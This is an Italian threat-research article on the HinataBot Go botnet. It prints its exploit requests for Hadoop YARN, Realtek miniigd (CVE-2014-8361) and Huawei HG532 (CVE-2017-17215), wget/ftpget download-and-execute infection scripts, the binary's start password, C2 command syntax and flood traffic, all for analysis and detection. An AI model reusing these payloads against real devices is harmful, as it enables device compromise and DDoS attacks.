Rilevamento di HinataBot: un'analisi approfondita di una minaccia basata su Go
Editoriale e contributi aggiuntivi di Tricia Howard
Analisi riassuntiva
I ricercatori Akamai del Security Intelligence Response Team (SIRT) hanno rilevato una nuova botnet basata su Go e incentrata sugli attacchi DDoS. Il malware è stato chiamato "Hinata" dal suo autore in onore di un personaggio della popolare serie anime Naruto, da noi denominato "HinataBot".
HinataBot è stato distribuito durante i primi tre mesi del 2023 e viene attivamente aggiornato dagli autori/operatori.
Il campione è stato scoperto negli honeypot HTTP e SSH che abusavano di vecchie vulnerabilità e credenziali deboli.
I tentativi di infezione osservati includono lo sfruttamento del servizio SOAP miniigd su dispositivi Realtek SDK (CVE-2014-8361), router Huawei HG532 (CVE-2017-17215) e server Hadoop YARN esposti (CVE N/D).
Tramite una combinazione di reverse engineering del malware e imitazione del server di comando e controllo (C2), siamo stati in grado di esaminare in modo approfondito il funzionamento del malware e cosa rende unico il traffico di attacco che ne deriva.
Presentazione di HinataBot
HinataBot è un malware basato su Go che i ricercatori di sicurezza del SIRT di Akamai hanno recentemente rilevato all'interno di honeypot HTTP e SSH. Questo particolare campione si è distinto per le sue grandi dimensioni e la mancanza di un'identificazione specifica attorno ai suoi hash più recenti. Sembra che i file binari del malware siano stati nominati dall'autore del malware in onore di un personaggio della popolare serie anime, Naruto, con strutture dei nomi dei file come "Hinata-<OS>-<Architecture>".
HinataBot è il più recente nell'elenco delle minacce emergenti basate su Go in continua crescita che include botnet come GoBruteForcer e kmsdbot, scoperte di recente (da SIRT). Go è stato utilizzato dagli autori degli attacchi per sfruttare i suoi vantaggi, quali le elevate performance, la facilità di multi-threading, l'architettura multipla e il supporto della compilazione incrociata del sistema operativo, ma probabilmente anche perché aggiunge complessità durante la compilazione, aumentando la difficoltà di decodificare i binari risultanti.
HinataBot utilizza vari metodi di comunicazione, tra cui la chiamata in uscita e l'ascolto di connessioni in entrata, ed è stato osservato con attacchi di tipo DDoS (Distributed Denial-of-Service) che utilizzano protocolli come HTTP, UDP, TCP e ICMP per inviare il traffico. Tuttavia, nell'ultima versione, HinataBot ha limitato i propri metodi di attacco solo agli attacchi HTTP e UDP.
Campagne di infezione di HinataBot
I metodi di distribuzione osservati erano una combinazione di script di infezione e payload completi che utilizzavano due vulnerabilità principali: un Hadoop YARN RCE (Figura 1) e lo sfruttamento di una vulnerabilità nel servizio SOAP miniigd all'interno dei dispositivi Realtek SDK (CVE-2014-8361; Figura 2).
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
Figura 1: Distribuzione del payload tramite Hadoop YARN RCE
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Figura 2: Distribuzione del payload tramite CVE-2014-8361
Questi attacchi si sono verificati in diversi giorni tra l'11 gennaio e il 16 gennaio 2023. Gli autori degli attacchi hanno utilizzato più versioni di script di infezione, che sono state aggiornate nel tempo. Tra questi script, i due principali sono stati denominati "wget.sh" (Figura 3) e "tftp.sh" (Figura 4), che riflettono i rispettivi protocolli utilizzati per recuperare il payload appropriato.
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Figura 3: Script di infezione wget.sh che utilizza wget per scaricare il payload
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Figura 4: Script di infezione tftp.sh che utilizza ftp per scaricare il payload
Negli honeypot SSH, gli autori degli attacchi hanno utilizzato tattiche di forza bruta, tentando combinazioni comuni di nome utente e password. Una volta effettuato l'accesso, gli autori di attacchi hanno aperto una shell e hanno proceduto all'esecuzione delle azioni nella Figura 5.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
Figura 5: Script di shell che tenta di scaricare il payload negli honeypot Cowrie
Il malware HinataBot è stato distribuito come binari Go, progettati per essere eseguiti su varie architetture e sistemi operativi. Questa tendenza degli autori di malware che sviluppano payload specializzati per più piattaforme è diventata sempre più comune negli ultimi anni (Figura 6), probabilmente a causa della facilità di compilazione incrociata, nonché dell'IoT (Internet of Things) e dei dispositivi per piccoli uffici/home office che eseguono architetture CPU meno comuni, un panorama dimostratosi fecondo di bersagli.
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
Figura 6: Payload nelle varie combinazioni di sistema operativo e architettura
Utilizzando l'IP di distribuzione come pivot, siamo stati in grado di identificare due IP aggiuntivi precedentemente utilizzati per la distribuzione. In ciascun caso, l'IP pivot è stato utilizzato come proxy. Ulteriori analisi hanno rivelato che, prima di sviluppare il proprio malware basato su Go, gli aggressori avevano tentato di distribuire una variante Mirai generica con pacchetti UPX e che utilizzava un nome meno identificabile (Figura 7).
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
Figura 7: Vari script di infezione e binario Mirai generico
I primi tentativi di distribuzione del malware sono avvenuti già nel dicembre 2022 e hanno utilizzato script di infezione molto diversi (Figura 8). Questi script precedenti potrebbero essere stati un test iniziale eseguito dagli autori per valutare l'efficacia delle proprie tattiche e strumenti.
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
Figura 8: Script di infezione legacy
Inoltre, siamo stati in grado di identificare un'altra vulnerabilità di cui gli autori degli attacchi hanno abusato per distribuire versioni precedenti dei propri script di infezione (Figura 9). Questa vulnerabilità, CVE-2017-17215, interessa i router Huawei HG532 e consente l'esecuzione arbitraria di codice remoto.
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Fig. 9: Sfruttamento della CVE-2017-17215 per infettare i router Huawei HG532
Gli autori degli attacchi tramite HinataBot sono attivi almeno da dicembre 2022, ma hanno iniziato a sviluppare il proprio malware solo a metà gennaio 2023. Da allora, abbiamo osservato molteplici iterazioni del malware e vari pivot nelle tecniche di infezione. L'IP primario utilizzato per le connessioni di distribuzione e comando e controllo (C2) ha una tradizione di partecipazione alla distribuzione di spam e malware. Non è del tutto chiaro a questo punto se l'IP sia dannoso per progettazione o semplicemente compromesso e oggetto di abusi.
Influenze di Mirai
Come affermato in precedenza, gli autori degli attacchi tramite HinataBot originariamente distribuivano i binari Mirai, una nota famiglia di malware che ha iniziato a prendere di mira i dispositivi IoT, resa open source e che ha continuato ad essere adottata da vari attori e gruppi (e si è evoluta di conseguenza) Mirai ora include più varianti e botnet create da più autori, aggressori e gruppi.
Osservando i record DNS storici, possiamo osservare che a febbraio 2023 l'IP più recentemente associato a HinataBot si stava risolvendo per il dominio "hihi.mirailovers.pw" (Figura 10).
Ci sono stati numerosi tentativi pubblici di riscrivere Mirai in Go, e HinataBot sembra seguire una struttura simile ad alcuni di questi tentativi. Ad esempio, il modo in cui HinataBot imposta la comunicazione nel suo metodo principale e il modo in cui analizza i comandi e avvia gli attacchi nei suoi metodi di attacco assomiglia alla struttura utilizzata in altre varianti Mirai basate su Go.
Vale la pena notare che HinataBot è ancora in fase di sviluppo e in continua evoluzione. Pertanto, è difficile prevedere come cambierà il malware e come potrebbe apparire in futuro.
Una prima analisi
Inizialmente abbiamo tentato di raggiungere l'IP di distribuzione più recente, ma sebbene fosse possibile eseguire il ping, non siamo stati in grado di scaricare il campione direttamente dal server. Ciò potrebbe indicare che gli autori degli attacchi hanno implementato un meccanismo di protezione o che rimuovono i campioni dopo la distribuzione, rendendo più difficile ottenerli al di fuori di un attacco diretto. Nelle campagne precedenti degli stessi autori, abbiamo osservato modelli di nomi apparentemente casuali (vedi Figura 9).
Fortunatamente, siamo riusciti ad acquisire un campione tramite i nostri strumenti di analisi automatizzati che ne avevano memorizzato uno per noi al momento dell'infezione iniziale. Abbiamo scaricato entrambe le versioni MIPS32 e x86-64 dal nostro archivio di malware e abbiamo iniziato l'analisi statica. I file binari erano entrambi scritti in Go, ma erano relativamente semplici da utilizzare, poiché erano non corrotti, decompressi e non estratti (Figura 11). Da allora le versioni dei binari nei giorni precedenti a questa pubblicazione sono state rimosse, il che renderà la decompilazione più impegnativa in futuro.
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
Fig. 11: Esecuzione del comando "file" su Hinata
Innanzitutto, abbiamo iniziato ad analizzare un campione di malware HinataBot di due mesi prima (Figura 12), ma in seguito siamo venuti a conoscenza di un campione più recente (Figura 13) che era stato rilasciato lo stesso giorno in cui avevamo scoperto il malware nei nostri log. Successivamente siamo passati invece all'analisi del campione più recente.
La differenza principale tra le due versioni è che il campione più recente è stato semplificato e presenta funzionalità più modulari. Inoltre, l'esempio più recente include alcune misure di sicurezza di base che non erano presenti nella versione originale. Approfondiremo queste differenze in maggiore dettaglio in una sezione successiva di questo post.
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
Figura 12: Campione di HinataBot di gennaio 2023
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
Figura 13: Campione di HinataBot di marzo 2023
Durante la nostra analisi, diverse funzioni si sono subito distinte come degne di nota. Tre distinte funzioni di attacco hanno attirato immediatamente la nostra attenzione: sym.main.startAttack, sym.main.http_floode sym.main.udp_flood (figura 14). La denominazione di queste funzioni suggerisce che il malware era destinato a sferrare attacchi DDoS.
Un'ulteriore analisi del malware ha rivelato riferimenti alle comunicazioni C2, che hanno fornito ulteriori indizi sul fatto che HinataBot faceva parte di una campagna di creazione di botnet orientata agli attacchi DDoS (Figura 15).
Mappatura delle comunicazioni C2
Per comprendere come il malware HinataBot stabilisca una connessione al proprio C2, abbiamo lavorato a ritroso dalla stringa "Connection to CNC is OK!" e iniziato a cercare riferimenti incrociati alla stringa (Figura 16). Questo processo ci ha permesso di mappare il meccanismo con cui il malware comunica con il proprio C2.
La nostra indagine alla fine ci ha condotto al server C2 per HinataBot in ascolto su TCP/1420 sullo stesso IP da cui è stato distribuito il malware durante la campagna di infezione (Figura 17).
Dall'analisi del codice di assemblaggio sono stati anche scoperti i riferimenti a un'API utilizzata per le connessioni ("API_CONNECTION_ATTACK"), oltre a numerosi possibili comandi da inviare al dispositivo infetto che non vedevamo l'ora di provare (Figura 18).
A questo punto, eravamo fiduciosi che il nostro campione si sarebbe riconnesso al server di distribuzione/C2 per notificare al C2 che il bot era attivo e in esecuzione e che attendeva i comandi, ma il server C2 era ora offline.
Un'osservazione interessante è che HinataBot apre anche una propria porta di ascolto su TCP/61420 (Figura 19). Poiché il nostro obiettivo principale di questa ricerca era comprendere meglio il traffico di attacco che questa botnet può generare, non abbiamo dedicato molto tempo ad approfondire questa funzionalità poiché sembrava non rientrare nell'ambito.
Tuttavia, abbiamo notato che le differenze di temporizzazione di questo listener dipendono dal successo della connettività al C2. Nei casi in cui un C2 viene contattato con successo, questo listener si disattiverà dopo tre minuti. Nei casi in cui non è stato possibile raggiungere il C2, questa porta rimane in ascolto senza limiti di tempo apparenti. Sarà necessario condurre ulteriori ricerche su questa porta per comprendere appieno quali funzionalità consente agli operatori; ad esempio, se si tratta di una funzionalità di tipo peer-to-peer o eventualmente di una funzionalità di aggiornamento/controllo/ripristino. Al momento della stesura di questo documento, non siamo in grado di fornire una risposta definitiva.
Analisi di HinataBot
Nella fase successiva della nostra indagine, abbiamo deliberatamente infettato diversi computer e creato un server C2 per analizzare le interazioni, le misure di sicurezza e i modelli di traffico di HinataBot. Tratteremo brevemente alcuni dei processi e delle osservazioni fatte durante la decompilazione.
HINATA_START_NICE
Come notato in precedenza, il nuovo campione di HinataBot includeva alcune misure di sicurezza di base che erano assenti nelle versioni precedenti. La prima misura di questo tipo era un requisito password. Dopo aver eseguito il campione, la prima cosa che si nota è un'eccezione non rilevata. Nel messaggio di errore risultante risulta abbastanza chiaro (Figura 20).
Dopo un esame più attento del messaggio di errore, abbiamo scoperto che l'esempio richiedeva il passaggio di un argomento aggiuntivo all'esecuzione. Mentre passare letteralmente qualsiasi cosa in questo argomento consentirà di superare l'eccezione non rilevata, HinataBot uscirà correttamente. Da qui, è risultato ovvio che dovevamo tornare al disassemblaggio per osservare cosa HinataBot potesse cercare in questo argomento.
Abbiamo cercato nel campione di malware e alla fine abbiamo identificato la stringa di 17 caratteri (0x005fe3d2) "HINATA_START_NICE" (0x005fe3d8) utilizzata in una chiamata sym.runtime.memequal (0x005fe3e0) che fallirebbe e causerebbe il passaggio del malware a un'istruzione ret, interrompendo l'esecuzione (Figura 21). Abbiamo usato questa stringa come argomento durante l'esecuzione del campione, che ha consentito all'esecuzione di passare a un codice più interessante.
È interessante notare che il personaggio dell'anime di Naruto chiamato Hinata è inizialmente un personaggio pacifico e gentile per poi diventare un feroce combattente, qualcosa a cui gli autori del malware potrebbero alludere quando usano l'argomento "HINATA_START_NICE", prima che il malware comunichi al suo C2 e partecipi al lancio degli attacchi
Vale la pena notare che questo requisito password non era presente nei precedenti campioni di malware HinataBot del gennaio 2023; pertanto la maggior parte degli script di infezione che abbiamo riscontrato non includeva questo argomento. Tuttavia, a un esame più attento dopo aver scoperto questo requisito, siamo stati in grado di rintracciare gli script di infezione più recenti (Figura 22), che hanno passato l'argomento ai file binari al momento dell'infezione. Sarebbe stato utile saperlo In anticipo.
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
Figura 22: Nuovo script di infezione tramite l'utilizzo della password
Go.123+Strings-456.Are_789-Weird
La nostra analisi del campione HinataBot ha rivelato un gran numero di stringhe di testo in chiaro molto lunghe integrate nel binario. Go utilizza un approccio unico per archiviare i valori letterali stringa inserendoli in un blocco di memoria contiguo noto come tabella di stringhe o pool interno di stringhe.""""
Di conseguenza, quando si esegue il comando delle stringhe o i disassemblatori su un binario Go, l'output può apparire come un miscuglio confuso di caratteri, rendendo difficile la distinzione tra le singole stringhe nella tabella (Figura 23).
Questa tecnica differisce da altri linguaggi di programmazione, che in genere memorizzano stringhe di byte che terminano con Null. Senza questi byte Null finali, gli strumenti continuano a leggere una stringa rilevata fino a quando non incontrano un byte Null. Questo rende una semplice analisi delle stringhe un po' più impegnativa.
Osservare i riferimenti incrociati dai segmenti di codice nei segmenti di indirizzo della tabella delle stringhe può aiutare a identificare dove iniziano le singole stringhe nella tabella più grande. In genere, è anche possibile identificare la loro lunghezza caricata in un registro prima o dopo il caricamento della stringa o come parte di una chiamata di funzione che utilizzerà la porzione di stringa a cui si fa riferimento (Figura 24). Ci vuole un po' per abituarsi, ma una volta che acquisite familiarità con la convenzione, è piuttosto semplice.
Acquisizione di informazioni
Con un mezzo per soddisfare il requisito password attivo, la nostra attenzione si è rivolta a stabilire una connessione al server C2. In modo simile a come abbiamo scoperto la password, siamo stati in grado di identificare i componenti necessari del protocollo di handshake richiesti per stabilire una connessione al server C2, che era inattivo al momento di questa ricerca/scrittura.
Usando netcat per l'ascolto sulla porta 1420, abbiamo quindi applicato una patch al binario per utilizzare un IP che controllavamo come server C2. Una volta stabilita ala connessione, abbiamo quindi inviato i trigger appropriati al dispositivo infetto, preparandolo per l'attacco (Figura 25).
L'handshake consisteva in una connessione iniziale, seguita dall'invio da parte del bot di un messaggio del tipo "API_CONNECTION_BOT [os]/[architecture] [hostname]". Il bot quindi si aspetta un messaggio del tipo API_CONNECTION_SIGNAL_OK di ritorno dal server C2, che preparerebbe il bot per l'ascolto dei comandi in arrivo (Figura 26) Eliminato l'handshake, inviamo il segnale API_CONNECTION_ATTACK: per avviare gli attacchi.
Abbiamo creato un server C2 molto semplice per automatizzare il mantenimento di questa connessione e consentirci di modificare e inviare un comando memorizzato in un file di testo senza dover modificare il codice, il che ha consentito un test molto semplice e rapido (Figura 27). Questo ci ha consentito di risparmiare molto tempo nel corso di questa ricerca.
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
Figura 27: C2 ricreato per mantenere la connessione al nodo infetto
Sebbene queste interazioni con HinataBot fossero abbastanza interessanti, il nostro obiettivo finale era sempre quello di osservare il malware in azione e vedere come appariva il suo traffico di attacco in rete quando era diretto a sistemi mirati. Con le comunicazioni C2 di base impostate, ora abbiamo iniziato ad approfondire il comando di attacco, elaborando la logica e mappando le strutture di comando di attacco.
HinataBot smette di essere benigno
La versione più recente di questo malware ha due metodi di attacco principali: HTTP e UDP. La versione precedente conteneva questi due, oltre a metodi di attacco che sfruttavano i flood ICMP e TCP. Non è chiaro perché questi metodi siano stati rimossi.
Per esaminare più dettagliatamente il traffico di attacco effettivo, abbiamo utilizzato il nostro server C2 improvvisato per mantenere la connessione mentre il bot ci inviava heartbeat. In questo modo, ci siamo potuti concentrare solo sui comandi di attacco e senza doverci preoccupare di mantenere una connessione con il dispositivo infetto.
Dopo analisi e test approfonditi, siamo finalmente riusciti a mappare la struttura e i campi necessari per iniziare a lanciare attacchi e a catturare i pacchetti in transito. L'autore del malware sfrutta più convenzioni Go come funzioni anonime, goroutine, canali, pool di lavoro e gruppi di attesa, rendendo la decompilazione un po' più complicata. Alla fine, dopo una serie di test, abbiamo capito la struttura del comando di attacco (Figura 28). (Figure 28).
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
Figura 28: Struttura del comando di attacco
La struttura di comando di base, una volta finalmente mappata, è molto semplice. I comandi di attacco iniziano sempre con API_CONNECTION_ATTACK: seguito da tre campi obbligatori, ATTACK_TYPE, TARGETe DURATION dell'attacco. Per udp_flood c'è anche un quarto campo di attacco UDP_OPTIONS; questo campo è richiesto anche quando si lancia un attacco udp_flood a causa del modo in cui si verifica il controllo dei comandi, ma, stranamente, non è affatto necessario che sia valido.
Tipo di attacco 0: http_flood
Il comando http_flood non sembra utilizzare parametri di opzioni aggiuntivi come fa l'attacco udp_flood . Poiché si basa sulla libreria Go net.http nativa, la maggior parte della configurazione e delle opzioni di analisi per questo attacco proviene direttamente dalla libreria Go stessa ed è controllata tramite la direttiva TARGET .
Nel comando di attacco nella Figura 29, stiamo sferrando un attacco http_flood (tipo 0) diretto a 127.127.127.127 su TCP/31337 che durerà 10 secondi. Il percorso, la porta, i parametri GET e il protocollo sono tutti dedotti da questa direttiva di destinazione. Se non viene fornita alcuna porta, l'impostazione predefinita sarà TCP/80.
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
Figura 29: Struttura del comando di attacco per un attacco http_flood
Come accennato in precedenza, questo binario si appoggia alla libreria Go net.http per sferrare gli attacchi. Il bot crea un pool di lavoro di 512 processi di lavoro tramite Goroutine e ogni processo di lavoro crea il proprio oggetto net.http.Request . Nella Figura 30, possiamo vedere in parte come funziona dall'interno di un singolo processo di lavoro.
Innanzitutto, vengono creati un nuovo oggetto di contesto e una nuova classe RequestWithContext . Questo oggetto di contesto verrà popolato con intestazioni HTTP che verranno utilizzate durante l'attacco dalla classe RequestWithContext . Alcune di queste intestazioni sono statiche, mentre altre sono randomizzate. Nella Figura 30 sono riportate le chiamate Rand Seed e Intn , che vengono utilizzate per selezionare un User-Agent casuale da un elenco di 10 user-agent statici codificati all'interno del file binario. Descriveremo quali intestazioni cercare di seguito mentre analizziamo il traffico in uscita dal malware durante un attacco http_flood .
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
Figura 31: 3 richieste di attacco di esempio http_flood
